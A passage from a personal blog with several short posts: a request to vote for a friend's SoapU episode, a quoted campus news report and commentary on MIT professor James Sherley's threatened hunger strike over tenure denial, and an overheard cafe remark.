the SoapU contest. If you can spare a second, I’d love it if you could
help him out by voting for his episode. (Voting takes about three
seconds — you don’t actually have to watch the episode if you’re in a
hurry.)

To vote, just go to SoapU.com and click
the preview pic next to “The Gates; Columbia University; Davide
Barillari”. The show should start playing. You can click one of the
rating buttons below the video to vote for the episode. (I recommend a
“10”, but of course, I’m biased.)

I had some trouble with Firefox, but your mileage may vary — I have
some exotic extensions installed. Internet Explorer worked perfectly,
though.

If you had a chance to vote, thanks!

That's not something you see every day

2007-01-10T18:40:00.000-08:00

BE Professor Threatens Hunger Strike to Protest Tenure Denial

By Joyce Kwan
STAFF REPORTER

An African-American associate professor has threatened to go on hunger
strike unless the provost resigns and his tenure is granted,
protesting what he claims were racist motives behind the denial of his
tenure. The Department of Biological Engineering decided not to
advance BE Associate Professor James L. Sherley.s case for tenure on
Dec. 13, 2004. Since then, Sherley has asked senior administrators to
overturn his department’s decision.

[...]

In a December letter sent out to MIT faculty calling for support,
Sherley said, “I will either see the Provost resign and my hard-earned
tenure granted at MIT, or I will die defiantly right outside his
office. This is the strength of my conviction that racism in American
[sic] must end. What better place to kill a small part of it than at a
great institution like MIT.”

There’s no doubt that the tenure process needs reform. That the
current system makes it very difficult to have women to have both
children and a high-powered academic career is beyond dispute. The
left decries the lack of minority professors at top schools and cries
racism. The right regularly blasts “tenured radicals” and demands
limited-term contracts for faculty. (A small number of (usually
obscure) schools have even tried this.) I have my doubts that
Prof. Sherley’s tactic will work, but I’m also surprised that more of
the media haven’t picked up on this.

Incidentally, if you read magazines like First Things or The
Weekly Standard and see references to an MIT professor who bashes
embryonic-stem cell research and flogs adult stem cells, it’s often
Prof. Sherley. See, for instance,
this and
this,
both by my former college classmate Ryan Anderson.

Overheard in the Lamont Cafe

2006-12-11T18:48:00.000-08:00

“Oh my God, do you think Goldman Sachs would have me take the
Chinatown bus?”